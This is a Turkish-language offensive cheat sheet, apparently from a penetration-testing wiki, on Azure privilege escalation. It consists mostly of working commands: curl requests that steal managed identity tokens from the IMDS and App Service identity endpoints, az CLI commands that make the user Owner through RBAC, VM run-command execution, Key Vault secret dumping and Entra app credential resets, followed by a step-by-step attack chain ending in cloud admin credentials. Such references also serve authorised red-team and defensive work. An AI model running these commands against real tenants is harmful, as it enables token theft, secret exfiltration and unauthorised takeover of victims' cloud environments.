Azure — Privilege Escalation & Managed Identity
Azure privesc
Azure privesc
Azure’da yetki iki katmandadır: Entra ID rolleri (dizin) ve Azure RBAC (kaynaklar / abonelik). Yükseltme çoğu zaman zayıf rol atamaları, uygulama sahipliği ve managed identity token’larının ele geçirilmesiyle olur.
Ön koşullar
Section titled “Ön koşullar”- Geçerli kullanıcı / SP kimliği veya VM/App üzerinde kod yürütme/SSRF- az cli veya ARM/Graph token kullanabilme- Hedef abonelik ID / kaynak grubu bilgisi (enum'dan)Managed Identity token’ı çalma
Section titled “Managed Identity token’ı çalma”VM/App Service üzerindeki bir kod yürütmesi veya SSRF ile IMDS’den token alınır:
curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/instance?api-version=2021-02-01"App Service / Functions:
curl -s "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \ -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"Token’ı kullan:
export TOKEN='eyJ...'az rest --method GET \ --uri "https://management.azure.com/subscriptions?api-version=2020-01-01" \ --headers "Authorization=Bearer $TOKEN"az login --identity # VM'de az cli varsaaz account showYaygın privesc / erişim vektörleri
Section titled “Yaygın privesc / erişim vektörleri”Contributor → kaynak yönet; rol atayamazOwner / User Access Administrator → kendine/herkese rol ataMicrosoft.Authorization/roleAssignments/write → RBAC privescKey Vault Secrets User / access policy → sır çekVM Contributor + runCommand → SYSTEM/root komutAutomation Account / Runbook → Run As / MI ile kodLogic App / Function → bağlantı string'leri, MIApplication Admin (Entra) → app cred ekle → SP olarak GraphPrivileged Role Admin / GA → dizin kontrolüGroup Owner → üyeliğe kendini ekle → rolRBAC ile kendini Owner yapma
Section titled “RBAC ile kendini Owner yapma”az role assignment list --assignee $(az ad signed-in-user show --query id -o tsv) -o tableaz role assignment create --assignee <my-object-id> \ --role Owner --scope /subscriptions/<sub-id>VM Run Command
Section titled “VM Run Command”az vm run-command invoke -g RG -n VMNAME --command-id RunShellScript \ --scripts "id; curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"az vm run-command invoke -g RG -n VMNAME --command-id RunPowerShellScript \ --scripts "whoami; Get-Process"Key Vault
Section titled “Key Vault”az keyvault list -o tableaz keyvault secret list --vault-name KVNAME -o tableaz keyvault secret show --vault-name KVNAME --name db-passaz keyvault key list --vault-name KVNAMEaz keyvault certificate list --vault-name KVNAMEAutomation / Runbook
Section titled “Automation / Runbook”az automation account list -o tableKomut üreteci
Section titled “Komut üreteci”Azure IMDS · token
embedded toolcurl -s -H Metadata:true http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Azure IMDS · token
Section titled “Azure IMDS · token”Metodoloji
Section titled “Metodoloji”-
Rol haritası çıkar — az role assignment list –all ; hangi kapsamda (MG / subscription / RG / resource) ne yetkim var. AzureHound yollarına bak.
-
Managed identity ara — VM/App/Function üzerinde token alıp ARM/Graph/ Vault’a karşı yetkiyi ölç; MI’nin RBAC atamalarını listele.
-
RBAC write bul — roleAssignments/write veya Owner/UAA varsa kendine Owner ata; yoksa Key Vault / Automation / RunCommand / Function / reset password gibi yan yollarla kod veya sır elde et.
-
Entra ↔ Azure köprüsü — dizin rolü (App Admin vb.) ile SP credentials ekleyip Graph/ARM’e geç; veya tam tersi ARM’den GA’ya giden nadir yolları BloodHound’da doğrula.
Entra uygulama yolu (özet)
Section titled “Entra uygulama yolu (özet)”az ad app credential reset --id <app-id> --appendaz login --service-principal -u <app-id> -p <secret> --tenant <tid>Saldırı zinciri
Section titled “Saldırı zinciri”Web app RCE (App Service) → IDENTITY_ENDPOINT token (ARM) → MI = Contributor on RG → VM run-command → ikinci MI / local admin → Key Vault secrets → Domain/cloud admin creds